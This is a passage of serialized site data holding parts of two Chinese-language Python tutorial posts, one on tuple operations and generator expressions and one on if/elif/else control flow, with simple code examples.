40\n",{"type":18,"tag":96,"props":98597,"children":98598},{},[98599],{"type":18,"tag":34,"props":98600,"children":98601},{},[98602],{"type":24,"value":98603},"在执行输出的结果中可以看出，在输出单个元组元素时不包括小括号，如果是字符串，还不包括引号",{"type":18,"tag":34,"props":98605,"children":98606},{},[98607],{"type":24,"value":98608},"最后还可以通过切片的方式访问元组元素，语法格式及示例如下：",{"type":18,"tag":287,"props":98610,"children":98612},{"className":28710,"code":98611,"language":28712,"meta":8,"style":8},"tup = (1,2,3,4,5,6,7,8,9)\nprint(tup[::-1])         # 输出结果为：(9, 8, 7, 6, 5, 4, 3, 2, 1)\nprint(tup[2:8:2])        # 输出结果为：(3, 5, 7)\n",[98613],{"type":18,"tag":74,"props":98614,"children":98615},{"__ignoreMap":8},[98616,98624,98632],{"type":18,"tag":297,"props":98617,"children":98618},{"class":299,"line":300},[98619],{"type":18,"tag":297,"props":98620,"children":98621},{},[98622],{"type":24,"value":98623},"tup = (1,2,3,4,5,6,7,8,9)\n",{"type":18,"tag":297,"props":98625,"children":98626},{"class":299,"line":657},[98627],{"type":18,"tag":297,"props":98628,"children":98629},{},[98630],{"type":24,"value":98631},"print(tup[::-1])         # 输出结果为：(9, 8, 7, 6, 5, 4, 3, 2, 1)\n",{"type":18,"tag":297,"props":98633,"children":98634},{"class":299,"line":662},[98635],{"type":18,"tag":297,"props":98636,"children":98637},{},[98638],{"type":24,"value":98639},"print(tup[2:8:2])        # 输出结果为：(3, 5, 7)\n",{"type":18,"tag":337,"props":98641,"children":98643},{"id":98642},"遍历元组",[98644],{"type":24,"value":98642},{"type":18,"tag":34,"props":98646,"children":98647},{},[98648,98653],{"type":18,"tag":105,"props":98649,"children":98650},{},[98651],{"type":24,"value":98652},"直接使用for循环实现遍历元组",{"type":24,"value":97233},{"type":18,"tag":287,"props":98655,"children":98657},{"className":28710,"code":98656,"language":28712,"meta":8,"style":8},"for item in tuplename:\n    print(item)\n",[98658],{"type":18,"tag":74,"props":98659,"children":98660},{"__ignoreMap":8},[98661,98669],{"type":18,"tag":297,"props":98662,"children":98663},{"class":299,"line":300},[98664],{"type":18,"tag":297,"props":98665,"children":98666},{},[98667],{"type":24,"value":98668},"for item in tuplename:\n",{"type":18,"tag":297,"props":98670,"children":98671},{"class":299,"line":657},[98672],{"type":18,"tag":297,"props":98673,"children":98674},{},[98675],{"type":24,"value":97256},{"type":18,"tag":34,"props":98677,"children":98678},{},[98679,98683],{"type":18,"tag":105,"props":98680,"children":98681},{},[98682],{"type":24,"value":97264},{"type":24,"value":93112},{"type":18,"tag":287,"props":98685,"children":98687},{"className":28710,"code":98686,"language":28712,"meta":8,"style":8},"for index,item in enumerate(tuplename):\n    print(index,item)\n",[98688],{"type":18,"tag":74,"props":98689,"children":98690},{"__ignoreMap":8},[98691,98699],{"type":18,"tag":297,"props":98692,"children":98693},{"class":299,"line":300},[98694],{"type":18,"tag":297,"props":98695,"children":98696},{},[98697],{"type":24,"value":98698},"for index,item in enumerate(tuplename):\n",{"type":18,"tag":297,"props":98700,"children":98701},{"class":299,"line":657},[98702],{"type":18,"tag":297,"props":98703,"children":98704},{},[98705],{"type":24,"value":97288},{"type":18,"tag":337,"props":98707,"children":98709},{"id":98708},"修改元组",[98710],{"type":24,"value":98708},{"type":18,"tag":34,"props":98712,"children":98713},{},[98714],{"type":24,"value":98715},"元组是不可变序列，所以我们不能对元组的单个元素值进行修改，但是我们可以的使用对元组重新赋值的方式达到修改元组的目的。如下代码所示：",{"type":18,"tag":287,"props":98717,"children":98719},{"className":28710,"code":98718,"language":28712,"meta":8,"style":8},"tup = (1,2,3,4)     # 定义元组\ntup = (1,2,3,4,5)   # 对元组重新赋值\n",[98720],{"type":18,"tag":74,"props":98721,"children":98722},{"__ignoreMap":8},[98723,98731],{"type":18,"tag":297,"props":98724,"children":98725},{"class":299,"line":300},[98726],{"type":18,"tag":297,"props":98727,"children":98728},{},[98729],{"type":24,"value":98730},"tup = (1,2,3,4)     # 定义元组\n",{"type":18,"tag":297,"props":98732,"children":98733},{"class":299,"line":657},[98734],{"type":18,"tag":297,"props":98735,"children":98736},{},[98737],{"type":24,"value":98738},"tup = (1,2,3,4,5)   # 对元组重新赋值\n",{"type":18,"tag":34,"props":98740,"children":98741},{},[98742],{"type":24,"value":98743},"元组也支持连接组合，即在已定义的元组后面连接新的元组（连接对象必须为元组）。代码如下：",{"type":18,"tag":287,"props":98745,"children":98747},{"className":28710,"code":98746,"language":28712,"meta":8,"style":8},"tup = (1,2,3,4)\ntup = tup + (5,6,7)\nprint(tup)          # 输出为：(1,2,3,4,5,6,7)\n",[98748],{"type":18,"tag":74,"props":98749,"children":98750},{"__ignoreMap":8},[98751,98759,98767],{"type":18,"tag":297,"props":98752,"children":98753},{"class":299,"line":300},[98754],{"type":18,"tag":297,"props":98755,"children":98756},{},[98757],{"type":24,"value":98758},"tup = (1,2,3,4)\n",{"type":18,"tag":297,"props":98760,"children":98761},{"class":299,"line":657},[98762],{"type":18,"tag":297,"props":98763,"children":98764},{},[98765],{"type":24,"value":98766},"tup = tup + (5,6,7)\n",{"type":18,"tag":297,"props":98768,"children":98769},{"class":299,"line":662},[98770],{"type":18,"tag":297,"props":98771,"children":98772},{},[98773],{"type":24,"value":98774},"print(tup)          # 输出为：(1,2,3,4,5,6,7)\n",{"type":18,"tag":337,"props":98776,"children":98778},{"id":98777},"元组推导式",[98779],{"type":24,"value":98777},{"type":18,"tag":34,"props":98781,"children":98782},{},[98783,98785,98791],{"type":24,"value":98784},"元组推导式类似于列表推导式，但是元组推导式生成的结果并不是一个元组，而是一个生成器对象，若要使用该生成器对象，则需要将其转换为元组或者列表；也通过for循环遍历该生成器对象，或者直接使用",{"type":18,"tag":74,"props":98786,"children":98788},{"className":98787},[],[98789],{"type":24,"value":98790},"__next__()",{"type":24,"value":98792},"方法进行遍历。示例代码如下：",{"type":18,"tag":287,"props":98794,"children":98796},{"className":28710,"code":98795,"language":28712,"meta":8,"style":8},"serse = (i for i in range(5))\nprint(serse)\n'''输出结果为：\u003Cgenerator object \u003Cgenexpr> at 0x0000027FC7565B40>'''\ntup = tuple(serse)\nprint(tup)\n'''输出结果为：(0, 1, 2, 3, 4)'''\n",[98797],{"type":18,"tag":74,"props":98798,"children":98799},{"__ignoreMap":8},[98800,98808,98816,98824,98832,98840],{"type":18,"tag":297,"props":98801,"children":98802},{"class":299,"line":300},[98803],{"type":18,"tag":297,"props":98804,"children":98805},{},[98806],{"type":24,"value":98807},"serse = (i for i in range(5))\n",{"type":18,"tag":297,"props":98809,"children":98810},{"class":299,"line":657},[98811],{"type":18,"tag":297,"props":98812,"children":98813},{},[98814],{"type":24,"value":98815},"print(serse)\n",{"type":18,"tag":297,"props":98817,"children":98818},{"class":299,"line":662},[98819],{"type":18,"tag":297,"props":98820,"children":98821},{},[98822],{"type":24,"value":98823},"'''输出结果为：\u003Cgenerator object \u003Cgenexpr> at 0x0000027FC7565B40>'''\n",{"type":18,"tag":297,"props":98825,"children":98826},{"class":299,"line":799},[98827],{"type":18,"tag":297,"props":98828,"children":98829},{},[98830],{"type":24,"value":98831},"tup = tuple(serse)\n",{"type":18,"tag":297,"props":98833,"children":98834},{"class":299,"line":808},[98835],{"type":18,"tag":297,"props":98836,"children":98837},{},[98838],{"type":24,"value":98839},"print(tup)\n",{"type":18,"tag":297,"props":98841,"children":98842},{"class":299,"line":817},[98843],{"type":18,"tag":297,"props":98844,"children":98845},{},[98846],{"type":24,"value":98847},"'''输出结果为：(0, 1, 2, 3, 4)'''\n",{"type":18,"tag":96,"props":98849,"children":98850},{},[98851],{"type":18,"tag":34,"props":98852,"children":98853},{},[98854],{"type":24,"value":98855},"注意：无论使用哪种方法进行遍历或使用，在使用后若想重新使用该生成器对象，则必须重新创建一个生成器对象，因为遍历后，原生成器的对象已不存在。",{"type":18,"tag":34,"props":98857,"children":98858},{},[98859,98864],{"type":18,"tag":105,"props":98860,"children":98861},{},[98862],{"type":24,"value":98863},"元组与列表区别",{"type":24,"value":222},{"type":18,"tag":210,"props":98866,"children":98867},{},[98868,98904,98915,98926],{"type":18,"tag":158,"props":98869,"children":98870},{},[98871,98873,98878,98879,98884,98885,98890,98891,98896,98897,98902],{"type":24,"value":98872},"元组不能使用列表的",{"type":18,"tag":74,"props":98874,"children":98876},{"className":98875},[],[98877],{"type":24,"value":97310},{"type":24,"value":1942},{"type":18,"tag":74,"props":98880,"children":98882},{"className":98881},[],[98883],{"type":24,"value":97401},{"type":24,"value":1942},{"type":18,"tag":74,"props":98886,"children":98888},{"className":98887},[],[98889],{"type":24,"value":97345},{"type":24,"value":1942},{"type":18,"tag":74,"props":98892,"children":98894},{"className":98893},[],[98895],{"type":24,"value":96088},{"type":24,"value":10315},{"type":18,"tag":74,"props":98898,"children":98900},{"className":98899},[],[98901],{"type":24,"value":95621},{"type":24,"value":98903},"等方法，因为元组不能修改单个元素；",{"type":18,"tag":158,"props":98905,"children":98906},{},[98907,98909,98914],{"type":24,"value":98908},"元组只能进行",{"type":18,"tag":105,"props":98910,"children":98911},{},[98912],{"type":24,"value":98913},"整体替换",{"type":24,"value":8574},{"type":18,"tag":158,"props":98916,"children":98917},{},[98918,98920,98925],{"type":24,"value":98919},"元组比列表的访问和处理速度",{"type":18,"tag":105,"props":98921,"children":98922},{},[98923],{"type":24,"value":98924},"快",{"type":24,"value":8574},{"type":18,"tag":158,"props":98927,"children":98928},{},[98929],{"type":24,"value":98930},"列表不能作为字典的键，而元组可以。",{"type":18,"tag":651,"props":98932,"children":98933},{},[98934],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":98936},[98937,98938,98939],{"id":96427,"depth":662,"text":96427},{"id":96936,"depth":662,"text":96939},{"id":98267,"depth":662,"text":98270},"content:blog:2025-07-04-python-元组和列表.md","blog\u002F2025-07-04-python-元组和列表.md","blog\u002F2025-07-04-python-元组和列表",{"_path":98944,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":98945,"description":98946,"date":98947,"tags":98948,"body":98949,"_type":672,"_id":101457,"_source":674,"_file":101458,"_stem":101459,"_extension":677},"\u002Fblog\u002F2025-07-03-python","Python-流程控制语句","Python流程控制：if条件判断、for\u002Fwhile循环、break\u002Fcontinue等语句详解。","2025-07-03",[28616,75509],{"type":15,"children":98950,"toc":101450},[98951,98954,98959,98992,99020,99028,99033,99058,99107,99130,99180,99218,99228,99326,99380,99456,99533,99567,99703,99708,99713,99736,99741,99764,99772,99797,99820,99825,99838,99868,99908,99912,99988,100008,100046,100052,100057,100084,100098,100165,100220,100244,100334,100370,100457,100474,100521,100546,100593,100599,100616,100703,100726,100734,100827,100832,100934,100942,101012,101017,101087,101095,101115,101186,101194,101199,101238,101250,101287,101292,101329,101337,101446],{"type":18,"tag":121,"props":98952,"children":98953},{},[],{"type":18,"tag":27,"props":98955,"children":98957},{"id":98956},"程序结构",[98958],{"type":24,"value":98956},{"type":18,"tag":34,"props":98960,"children":98961},{},[98962,98964,98969,98971,98976,98978,98983,98985,98990],{"type":24,"value":98963},"计算机在解决问题时，主要有3种情形，分别是",{"type":18,"tag":105,"props":98965,"children":98966},{},[98967],{"type":24,"value":98968},"顺序执行",{"type":24,"value":98970},"所有的语句、",{"type":18,"tag":105,"props":98972,"children":98973},{},[98974],{"type":24,"value":98975},"选择执行",{"type":24,"value":98977},"部分语句和",{"type":18,"tag":105,"props":98979,"children":98980},{},[98981],{"type":24,"value":98982},"循环执行",{"type":24,"value":98984},"部分语句，这3种情形分别对应",{"type":18,"tag":2577,"props":98986,"children":98987},{"color":2579},[98988],{"type":24,"value":98989},"3个结构",{"type":24,"value":98991},"，即：",{"type":18,"tag":210,"props":98993,"children":98994},{},[98995,99004,99012],{"type":18,"tag":158,"props":98996,"children":98997},{},[98998],{"type":18,"tag":2577,"props":98999,"children":99001},{"color":99000},"green",[99002],{"type":24,"value":99003},"\n顺序结构\n",{"type":18,"tag":158,"props":99005,"children":99006},{},[99007],{"type":18,"tag":2577,"props":99008,"children":99009},{"color":99000},[99010],{"type":24,"value":99011},"\n选择结构\n",{"type":18,"tag":158,"props":99013,"children":99014},{},[99015],{"type":18,"tag":2577,"props":99016,"children":99017},{"color":99000},[99018],{"type":24,"value":99019},"\n循环结构\n",{"type":18,"tag":34,"props":99021,"children":99022},{},[99023],{"type":18,"tag":54,"props":99024,"children":99027},{"alt":99025,"src":99026},"Pasted image 20250707180721","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250707180721.png",[],{"type":18,"tag":27,"props":99029,"children":99031},{"id":99030},"选择语句",[99032],{"type":24,"value":99030},{"type":18,"tag":34,"props":99034,"children":99035},{},[99036,99038,99043,99044,99050,99051,99056],{"type":24,"value":99037},"Python中使用",{"type":18,"tag":74,"props":99039,"children":99041},{"className":99040},[],[99042],{"type":24,"value":16236},{"type":24,"value":1942},{"type":18,"tag":74,"props":99045,"children":99047},{"className":99046},[],[99048],{"type":24,"value":99049},"elif",{"type":24,"value":1942},{"type":18,"tag":74,"props":99052,"children":99054},{"className":99053},[],[99055],{"type":24,"value":87184},{"type":24,"value":99057},"保留字来组成选择语句，其语法格式如下：",{"type":18,"tag":154,"props":99059,"children":99060},{},[99061],{"type":18,"tag":158,"props":99062,"children":99063},{},[99064,99066,99072,99074,99079,99080,99085,99087,99092,99094,99099,99101],{"type":24,"value":99065},"最简单的",{"type":18,"tag":74,"props":99067,"children":99069},{"className":99068},[],[99070],{"type":24,"value":99071}," if 语句",{"type":24,"value":99073},"，表达式可以是单纯的bool类型或变量，也可以是",{"type":18,"tag":105,"props":99075,"children":99076},{},[99077],{"type":24,"value":99078},"比较表达式",{"type":24,"value":28447},{"type":18,"tag":105,"props":99081,"children":99082},{},[99083],{"type":24,"value":99084},"逻辑表达式",{"type":24,"value":99086},"。使用",{"type":18,"tag":74,"props":99088,"children":99090},{"className":99089},[],[99091],{"type":24,"value":16236},{"type":24,"value":99093},"语句时，若只有一条语句，则可以将语句块直接写到冒号",{"type":18,"tag":74,"props":99095,"children":99097},{"className":99096},[],[99098],{"type":24,"value":24972},{"type":24,"value":99100},"的右侧。如：",{"type":18,"tag":74,"props":99102,"children":99104},{"className":99103},[],[99105],{"type":24,"value":99106},"if a>b:max=a",{"type":18,"tag":287,"props":99108,"children":99110},{"className":28710,"code":99109,"language":28712,"meta":8,"style":8},"if 表达式:\n    语句块\n",[99111],{"type":18,"tag":74,"props":99112,"children":99113},{"__ignoreMap":8},[99114,99122],{"type":18,"tag":297,"props":99115,"children":99116},{"class":299,"line":300},[99117],{"type":18,"tag":297,"props":99118,"children":99119},{},[99120],{"type":24,"value":99121},"if 表达式:\n",{"type":18,"tag":297,"props":99123,"children":99124},{"class":299,"line":657},[99125],{"type":18,"tag":297,"props":99126,"children":99127},{},[99128],{"type":24,"value":99129},"    语句块\n",{"type":18,"tag":154,"props":99131,"children":99132},{"start":657},[99133],{"type":18,"tag":158,"props":99134,"children":99135},{},[99136,99142,99144,99149,99151,99156,99158,99163,99165,99170,99172,99178],{"type":18,"tag":74,"props":99137,"children":99139},{"className":99138},[],[99140],{"type":24,"value":99141},"if...else语句",{"type":24,"value":99143},"，简单的可以理解为“如果……否则……”，即二选一的条件。",{"type":18,"tag":74,"props":99145,"children":99147},{"className":99146},[],[99148],{"type":24,"value":87184},{"type":24,"value":99150},"不可以单独使用，它必须和保留字",{"type":18,"tag":74,"props":99152,"children":99154},{"className":99153},[],[99155],{"type":24,"value":16236},{"type":24,"value":99157},"一起使用，",{"type":18,"tag":74,"props":99159,"children":99161},{"className":99160},[],[99162],{"type":24,"value":16236},{"type":24,"value":99164},"根据缩进判断相对应的",{"type":18,"tag":74,"props":99166,"children":99168},{"className":99167},[],[99169],{"type":24,"value":87184},{"type":24,"value":99171},"，例如",{"type":18,"tag":74,"props":99173,"children":99175},{"className":99174},[],[99176],{"type":24,"value":99177},"if语句",{"type":24,"value":99179},"的嵌套。",{"type":18,"tag":287,"props":99181,"children":99183},{"className":28710,"code":99182,"language":28712,"meta":8,"style":8},"if 表达式:\n    语句块1\nelse:\n    语句块2\n",[99184],{"type":18,"tag":74,"props":99185,"children":99186},{"__ignoreMap":8},[99187,99194,99202,99210],{"type":18,"tag":297,"props":99188,"children":99189},{"class":299,"line":300},[99190],{"type":18,"tag":297,"props":99191,"children":99192},{},[99193],{"type":24,"value":99121},{"type":18,"tag":297,"props":99195,"children":99196},{"class":299,"line":657},[99197],{"type":18,"tag":297,"props":99198,"children":99199},{},[99200],{"type":24,"value":99201},"    语句块1\n",{"type":18,"tag":297,"props":99203,"children":99204},{"class":299,"line":662},[99205],{"type":18,"tag":297,"props":99206,"children":99207},{},[99208],{"type":24,"value":99209},"else:\n",{"type":18,"tag":297,"props":99211,"children":99212},{"class":299,"line":799},[99213],{"type":18,"tag":297,"props":99214,"children":99215},{},[99216],{"type":24,"value":99217},"    语句块2\n",{"type":18,"tag":34,"props":99219,"children":99220},{},[99221,99226],{"type":18,"tag":74,"props":99222,"children":99224},{"className":99223},[],[99225],{"type":24,"value":99141},{"type":24,"value":99227},"可以使用条件表达式进行简化，如下面示例：",{"type":18,"tag":287,"props":99229,"children":99231},{"className":28710,"code":99230,"language":28712,"meta":8,"style":8},"a = -1\nif a > 0:\n    b = a\nelse:\n    b= -a\nprint(b)\n\n\"\"\"上述代码可以简化为\"\"\"\n\na = -1\nb = a if a > 0 else -a\nprint(b)\n",[99232],{"type":18,"tag":74,"props":99233,"children":99234},{"__ignoreMap":8},[99235,99243,99251,99259,99266,99274,99282,99289,99297,99304,99311,99319],{"type":18,"tag":297,"props":99236,"children":99237},{"class":299,"line":300},[99238],{"type":18,"tag":297,"props":99239,"children":99240},{},[99241],{"type":24,"value":99242},"a = -1\n",{"type":18,"tag":297,"props":99244,"children":99245},{"class":299,"line":657},[99246],{"type":18,"tag":297,"props":99247,"children":99248},{},[99249],{"type":24,"value":99250},"if a > 0:\n",{"type":18,"tag":297,"props":99252,"children":99253},{"class":299,"line":662},[99254],{"type":18,"tag":297,"props":99255,"children":99256},{},[99257],{"type":24,"value":99258},"    b = a\n",{"type":18,"tag":297,"props":99260,"children":99261},{"class":299,"line":799},[99262],{"type":18,"tag":297,"props":99263,"children":99264},{},[99265],{"type":24,"value":99209},{"type":18,"tag":297,"props":99267,"children":99268},{"class":299,"line":808},[99269],{"type":18,"tag":297,"props":99270,"children":99271},{},[99272],{"type":24,"value":99273},"    b= -a\n",{"type":18,"tag":297,"props":99275,"children":99276},{"class":299,"line":817},[99277],{"type":18,"tag":297,"props":99278,"children":99279},{},[99280],{"type":24,"value":99281},"print(b)\n",{"type":18,"tag":297,"props":99283,"children":99284},{"class":299,"line":826},[99285],{"type":18,"tag":297,"props":99286,"children":99287},{"emptyLinePlaceholder":793},[99288],{"type":24,"value":796},{"type":18,"tag":297,"props":99290,"children":99291},{"class":299,"line":4524},[99292],{"type":18,"tag":297,"props":99293,"children":99294},{},[99295],{"type":24,"value":99296},"\"\"\"上述代码可以简化为\"\"\"\n",{"type":18,"tag":297,"props":99298,"children":99299},{"class":299,"line":4533},[99300],{"type":18,"tag":297,"props":99301,"children":99302},{"emptyLinePlaceholder":793},[99303],{"type":24,"value":796},{"type":18,"tag":297,"props":99305,"children":99306},{"class":299,"line":4546},[99307],{"type":18,"tag":297,"props":99308,"children":99309},{},[99310],{"type":24,"value":99242},{"type":18,"tag":297,"props":99312,"children":99313},{"class":299,"line":4555},[99314],{"type":18,"tag":297,"props":99315,"children":99316},{},[99317],{"type":24,"value":99318},"b = a if a > 0 else -a\n",{"type":18,"tag":297,"props":99320,"children":99321},{"class":299,"line":4568},[99322],{"type":18,"tag":297,"props":99323,"children":99324},{},[99325],{"type":24,"value":99281},{"type":18,"tag":154,"props":99327,"children":99328},{"start":662},[99329],{"type":18,"tag":158,"props":99330,"children":99331},{},[99332,99338,99340,99345,99346,99351,99353,99358,99360,99365,99366,99371,99373,99378],{"type":18,"tag":74,"props":99333,"children":99335},{"className":99334},[],[99336],{"type":24,"value":99337},"if...elif...else语句",{"type":24,"value":99339},"，该语句是一个多分支选择结构。",{"type":18,"tag":74,"props":99341,"children":99343},{"className":99342},[],[99344],{"type":24,"value":16236},{"type":24,"value":10315},{"type":18,"tag":74,"props":99347,"children":99349},{"className":99348},[],[99350],{"type":24,"value":99049},{"type":24,"value":99352},"都需要判断真假，而",{"type":18,"tag":74,"props":99354,"children":99356},{"className":99355},[],[99357],{"type":24,"value":87184},{"type":24,"value":99359},"不需要判断，",{"type":18,"tag":74,"props":99361,"children":99363},{"className":99362},[],[99364],{"type":24,"value":99049},{"type":24,"value":10315},{"type":18,"tag":74,"props":99367,"children":99369},{"className":99368},[],[99370],{"type":24,"value":87184},{"type":24,"value":99372},"都必须和",{"type":18,"tag":74,"props":99374,"children":99376},{"className":99375},[],[99377],{"type":24,"value":16236},{"type":24,"value":99379},"一起使用，不能单独使用。",{"type":18,"tag":287,"props":99381,"children":99383},{"className":28710,"code":99382,"language":28712,"meta":8,"style":8},"if 表达式1:\n    语句块1\nelif 表达式2:\n    语句块2\nelif 表达式3:\n    语句块3\n...\nelse:\n    语句块n\n",[99384],{"type":18,"tag":74,"props":99385,"children":99386},{"__ignoreMap":8},[99387,99395,99402,99410,99417,99425,99433,99441,99448],{"type":18,"tag":297,"props":99388,"children":99389},{"class":299,"line":300},[99390],{"type":18,"tag":297,"props":99391,"children":99392},{},[99393],{"type":24,"value":99394},"if 表达式1:\n",{"type":18,"tag":297,"props":99396,"children":99397},{"class":299,"line":657},[99398],{"type":18,"tag":297,"props":99399,"children":99400},{},[99401],{"type":24,"value":99201},{"type":18,"tag":297,"props":99403,"children":99404},{"class":299,"line":662},[99405],{"type":18,"tag":297,"props":99406,"children":99407},{},[99408],{"type":24,"value":99409},"elif 表达式2:\n",{"type":18,"tag":297,"props":99411,"children":99412},{"class":299,"line":799},[99413],{"type":18,"tag":297,"props":99414,"children":99415},{},[99416],{"type":24,"value":99217},{"type":18,"tag":297,"props":99418,"children":99419},{"class":299,"line":808},[99420],{"type":18,"tag":297,"props":99421,"children":99422},{},[99423],{"type":24,"value":99424},"elif 表达式3:\n",{"type":18,"tag":297,"props":99426,"children":99427},{"class":299,"line":817},[99428],{"type":18,"tag":297,"props":99429,"children":99430},{},[99431],{"type":24,"value":99432},"    语句块3\n",{"type":18,"tag":297,"props":99434,"children":99435},{"class":299,"line":826},[99436],{"type":18,"tag":297,"props":99437,"children":99438},{},[99439],{"type":24,"value":99440},"...\n",{"type":18,"tag":297,"props":99442,"children":99443},{"class":299,"line":4524},[99444],{"type":18,"tag":297,"props":99445,"children":99446},{},[99447],{"type":24,"value":99209},{"type":18,"tag":297,"props":99449,"children":99450},{"class":299,"line":4533},[99451],{"type":18,"tag":297,"props":99452,"children":99453},{},[99454],{"type":24,"value":99455},"    语句块n\n",{"type":18,"tag":96,"props":99457,"children":99458},{},[99459,99470],{"type":18,"tag":34,"props":99460,"children":99461},{},[99462,99463,99468],{"type":24,"value":35582},{"type":18,"tag":74,"props":99464,"children":99466},{"className":99465},[],[99467],{"type":24,"value":16236},{"type":24,"value":99469},"选择语句时，要遵循以下原则：",{"type":18,"tag":210,"props":99471,"children":99472},{},[99473,99501],{"type":18,"tag":158,"props":99474,"children":99475},{},[99476,99478,99484,99485,99491,99493,99499],{"type":24,"value":99477},"使用布尔型变量作为判断条件时，规范书写为：",{"type":18,"tag":74,"props":99479,"children":99481},{"className":99480},[],[99482],{"type":24,"value":99483},"if 变量名: # 为真",{"type":24,"value":26222},{"type":18,"tag":74,"props":99486,"children":99488},{"className":99487},[],[99489],{"type":24,"value":99490},"if not 变量名: # 为假",{"type":24,"value":99492},"；不要写成",{"type":18,"tag":74,"props":99494,"children":99496},{"className":99495},[],[99497],{"type":24,"value":99498},"if 变量名 == True(\u002FFalse): # 不规范书写",{"type":24,"value":99500}," 。",{"type":18,"tag":158,"props":99502,"children":99503},{},[99504,99506,99512,99513,99518,99520,99525,99527,99532],{"type":24,"value":99505},"注意区分",{"type":18,"tag":74,"props":99507,"children":99509},{"className":99508},[],[99510],{"type":24,"value":99511},"==",{"type":24,"value":45664},{"type":18,"tag":74,"props":99514,"children":99516},{"className":99515},[],[99517],{"type":24,"value":9692},{"type":24,"value":99519},"的区别，别将条件判断的",{"type":18,"tag":74,"props":99521,"children":99523},{"className":99522},[],[99524],{"type":24,"value":99511},{"type":24,"value":99526},"错写成",{"type":18,"tag":74,"props":99528,"children":99530},{"className":99529},[],[99531],{"type":24,"value":9692},{"type":24,"value":111},{"type":18,"tag":154,"props":99534,"children":99535},{"start":799},[99536],{"type":18,"tag":158,"props":99537,"children":99538},{},[99539,99541,99546,99548,99553,99554,99559,99560,99565],{"type":24,"value":99540},"选择语句的嵌套，3种形式的选择语句之间都可以互相嵌套，如 ",{"type":18,"tag":74,"props":99542,"children":99544},{"className":99543},[],[99545],{"type":24,"value":99177},{"type":24,"value":99547}," 嵌套 ",{"type":18,"tag":74,"props":99549,"children":99551},{"className":99550},[],[99552],{"type":24,"value":99141},{"type":24,"value":8507},{"type":18,"tag":74,"props":99555,"children":99557},{"className":99556},[],[99558],{"type":24,"value":99141},{"type":24,"value":99547},{"type":18,"tag":74,"props":99561,"children":99563},{"className":99562},[],[99564],{"type":24,"value":99141},{"type":24,"value":99566}," 的代码如下所示：",{"type":18,"tag":287,"props":99568,"children":99570},{"className":28710,"code":99569,"language":28712,"meta":8,"style":8},"\"\"\" if语句 嵌套 if...else语句 \"\"\"\nif 表达式:\n    if 表达式1:\n        语句块1\n    else 表达式2:\n        语句块2\n\"\"\" if...else语句 嵌套 if...else语句 \"\"\"\nif 表达式1:\n    if 表达式2:\n        语句块1\n    else:\n        语句块2\nelse:\n    if 表达式3:\n        语句块3\n    else:\n        语句块4\n",[99571],{"type":18,"tag":74,"props":99572,"children":99573},{"__ignoreMap":8},[99574,99582,99589,99597,99605,99613,99621,99629,99636,99644,99651,99658,99665,99672,99680,99688,99695],{"type":18,"tag":297,"props":99575,"children":99576},{"class":299,"line":300},[99577],{"type":18,"tag":297,"props":99578,"children":99579},{},[99580],{"type":24,"value":99581},"\"\"\" if语句 嵌套 if...else语句 \"\"\"\n",{"type":18,"tag":297,"props":99583,"children":99584},{"class":299,"line":657},[99585],{"type":18,"tag":297,"props":99586,"children":99587},{},[99588],{"type":24,"value":99121},{"type":18,"tag":297,"props":99590,"children":99591},{"class":299,"line":662},[99592],{"type":18,"tag":297,"props":99593,"children":99594},{},[99595],{"type":24,"value":99596},"    if 表达式1:\n",{"type":18,"tag":297,"props":99598,"children":99599},{"class":299,"line":799},[99600],{"type":18,"tag":297,"props":99601,"children":99602},{},[99603],{"type":24,"value":99604},"        语句块1\n",{"type":18,"tag":297,"props":99606,"children":99607},{"class":299,"line":808},[99608],{"type":18,"tag":297,"props":99609,"children":99610},{},[99611],{"type":24,"value":99612},"    else 表达式2:\n",{"type":18,"tag":297,"props":99614,"children":99615},{"class":299,"line":817},[99616],{"type":18,"tag":297,"props":99617,"children":99618},{},[99619],{"type":24,"value":99620},"        语句块2\n",{"type":18,"tag":297,"props":99622,"children":99623},{"class":299,"line":826},[99624],{"type":18,"tag":297,"props":99625,"children":99626},{},[99627],{"type":24,"value":99628},"\"\"\" if...else语句 嵌套 if...else语句 \"\"\"\n",{"type":18,"tag":297,"props":99630,"children":99631},{"class":299,"line":4524},[99632],{"type":18,"tag":297,"props":99633,"children":99634},{},[99635],{"type":24,"value":99394},{"type":18,"tag":297,"props":99637,"children":99638},{"class":299,"line":4533},[99639],{"type":18,"tag":297,"props":99640,"children":99641},{},[99642],{"type":24,"value":99643},"    if 表达式2:\n",{"type":18,"tag":297,"props":99645,"children":99646},{"class":299,"line":4546},[99647],{"type":18,"tag":297,"props":99648,"children":99649},{},[99650],{"type":24,"value":99604},{"type":18,"tag":297,"props":99652,"children":99653},{"class":299,"line":4555},[99654],{"type":18,"tag":297,"props":99655,"children":99656},{},[99657],{"type":24,"value":32786},{"type":18,"tag":297,"props":99659,"children":99660},{"class":299,"line":4568},[99661],{"type":18,"tag":297,"props":99662,"children":99663},{},[99664],{"type":24,"value":99620},{"type":18,"tag":297,"props":99666,"children":99667},{"class":299,"line":4577},[99668],{"type":18,"tag":297,"props":99669,"children":99670},{},[99671],{"type":24,"value":99209},{"type":18,"tag":297,"props":99673,"children":99674},{"class":299,"line":4590},[99675],{"type":18,"tag":297,"props":99676,"children":99677},{},[99678],{"type":24,"value":99679},"    if 表达式3:\n",{"type":18,"tag":297,"props":99681,"children":99682},{"class":299,"line":4599},[99683],{"type":18,"tag":297,"props":99684,"children":99685},{},[99686],{"type":24,"value":99687},"        语句块3\n",{"type":18,"tag":297,"props":99689,"children":99690},{"class":299,"line":4607},[99691],{"type":18,"tag":297,"props":99692,"children":99693},{},[99694],{"type":24,"value":32786},{"type":18,"tag":297,"props":99696,"children":99697},{"class":299,"line":4616},[99698],{"type":18,"tag":297,"props":99699,"children":99700},{},[99701],{"type":24,"value":99702},"        